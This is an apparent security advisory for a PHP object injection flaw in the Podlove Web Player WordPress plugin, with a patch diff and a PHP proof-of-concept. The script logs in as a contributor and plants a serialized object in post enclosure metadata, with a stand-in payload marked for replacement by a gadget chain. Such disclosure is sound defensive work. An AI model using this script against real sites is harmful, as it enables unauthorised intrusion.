Atomic Edge analysis of CVE-2026-24385:
The vulnerability exists in the Podlove Web Player WordPress plugin version 5.9.1 and earlier. The root cause is unsafe deserialization of untrusted user input in the `class-podlove-web-player-embed-data.php` file. The `get_embed_data()` function at line 70 calls `unserialize()` on the `$enclosure[3]` array element without validation. This element originates from user-controlled data stored in WordPress post metadata via the plugin’s enclosure field.
Authenticated attackers with contributor-level permissions or higher can exploit this by injecting a serialized PHP object into the enclosure metadata. The attack vector requires the attacker to create or edit a post containing a malicious enclosure array with a serialized object payload in the fourth element. When the plugin’s embed functionality processes this post data, the `unserialize()` call executes, triggering PHP object injection.
The patch in version 5.9.2 replaces `unserialize($enclosure[3])` with `json_decode($enclosure[3], true)` at the same line. This change eliminates PHP object deserialization entirely by parsing the data as JSON instead. JSON decoding does not instantiate PHP objects, preventing object injection regardless of payload content.
Successful exploitation requires a POP (Property-Oriented Programming) chain in the target environment. While no known POP chain exists in the plugin itself, third-party plugins or themes may provide usable gadget chains. If present, these chains could enable file deletion, data exfiltration, or remote code execution. The CVSS score of 7.5 reflects the requirement for contributor authentication and the absence of a built-in POP chain.
--- a/podlove-web-player/includes/class-podlove-web-player-embed-data.php
+++ b/podlove-web-player/includes/class-podlove-web-player-embed-data.php
@@ -70,7 +70,7 @@
$fileSize = $enclosure[1];
$mimeType = $enclosure[2];
- $duration = unserialize($enclosure[3]);
+ $duration = json_decode($enclosure[3], true);
return array(
'title' => $post->post_title,
--- a/podlove-web-player/podlove-web-player.php
+++ b/podlove-web-player/podlove-web-player.php
@@ -16,7 +16,7 @@
* Plugin Name: Podlove Web Player
* Plugin URI: https://docs.podlove.org/podlove-web-player/
* Description: Audio First Podcast Web Player
- * Version: 5.9.1
+ * Version: 5.9.2
* Author: Podlove
* Author URI: http://podlove.org
* License: MIT
@@ -30,7 +30,7 @@
die;
}
-define( 'PODLOVE_WEB_PLAYER_VERSION', '5.9.1' );
+define( 'PODLOVE_WEB_PLAYER_VERSION', '5.9.2' );
define( 'PODLOVE_WEB_PLAYER_PATH', plugins_url( '', __FILE__ ) );
/**
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24385 - Podlove Web Player <= 5.9.1 - Authenticated (Contributor+) PHP Object Injection
<?php
/*
This PoC demonstrates the PHP object injection vulnerability.
Requires: Contributor+ WordPress credentials, target running Podlove Web Player <= 5.9.1
Note: Without a POP chain, this only demonstrates the unserialize() call.
*/
$target_url = 'http://target.site/wp-admin/admin-ajax.php';
$username = 'contributor';
$password = 'password';
// First, authenticate and get WordPress nonce
$ch = curl_init($target_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'ajaxlogin',
'username' => $username,
'password' => $password
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
CURLOPT_COOKIEJAR => 'cookies.txt'
]);
$response = curl_exec($ch);
// Create a post with malicious enclosure metadata
// This simulates the vulnerable data flow through WordPress post meta
$payload = serialize(new stdClass()); // Replace with actual POP chain payload
$post_data = [
'action' => 'editpost',
'post_type' => 'post',
'post_title' => 'Exploit Post',
'meta_input[_podlove_web_player_enclosure]' => serialize([
'http://example.com/file.mp3', // URL
'1024', // File size
'audio/mpeg', // MIME type
$payload // Injected object - gets unserialized()
])
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query($post_data)
]);
$response = curl_exec($ch);
curl_close($ch);
// The vulnerability triggers when the plugin renders the embed for this post
// via Podlove_Web_Player_Embed_Data::get_embed_data()
echo "Post created with malicious enclosure metadata.n";
echo "Vulnerability triggers when player loads this post's embed data.n";
?>